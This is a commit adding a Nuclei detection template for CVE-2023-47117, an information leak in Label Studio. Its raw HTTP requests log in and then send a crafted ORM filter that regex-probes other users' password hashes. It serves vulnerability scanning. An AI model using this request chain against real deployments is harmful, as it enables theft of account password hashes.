Create CVE-2023-47117.yaml

http/cves/2023/CVE-2023-47117.yaml

@@ -0,0 +1,69 @@
+id: CVE-2023-47117
+
+info:
+  name: Label Studio - Sensitive Information Exposure
+  author: pdresearch
+  severity: high
+  description: |
+     An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character.
+  reference:
+    - https://security.snyk.io/vuln/SNYK-PYTHON-LABELSTUDIO-6056277
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-47117
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-47117
+    cwe-id: CWE-200
+    cpe: cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 4
+    verified: true
+    shodan-query: title:"Label Studio"
+    vendor: humansignal
+    product: label_studio
+  tags: cve,cve2023,label_studio,oss,exposure,authenticated
+
+variables:
+  Task_id: "{{task}}"
+  Project_id: "{{project}}"
+
+http:
+  - raw:
+      - |
+        GET /user/login/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /user/login/?next=/projects/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrfmiddlewaretoken={{csrf}}&email={{username}}&password={{password}}&persist_session=on
+
+      - |
+        PATCH /api/dm/views/{{Task_id}}?interaction=filter&project={{Project_id}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"id":{{Task_id}},"data":{"title":"Tasks","ordering":[],"type":"list","target":"tasks","filters":{"conjunction":"or","items":[{"filter":"filter:tasks:updated_by__active_organization__active_users__password","operator":"regex","value":"^pbkdf2_sha256\\$260000\\$","type":"String"}]},"hiddenColumns":{"explore":[],"labeling":[]},"columnsWidth":{},"columnsDisplayType":{},"gridWidth":4,"search_text":null},"project":"{{Project_id}}"}
+
+      - |
+        GET /api/tasks?page=1&page_size=30&view={{Task_id}}&interaction=filter&project={{Project_id}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body_4, "completed_at", "file_upload", "annotators")'
+          - 'status_code_3==200 && status_code_4==200'
+          - 'contains(header_4, "application/json")'
+        condition: and
+
+    extractors:
+      - type: regex
+        part: body
+        name: csrf
+        group: 1
+        regex:
+          - 'me="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)">'
+        internal: true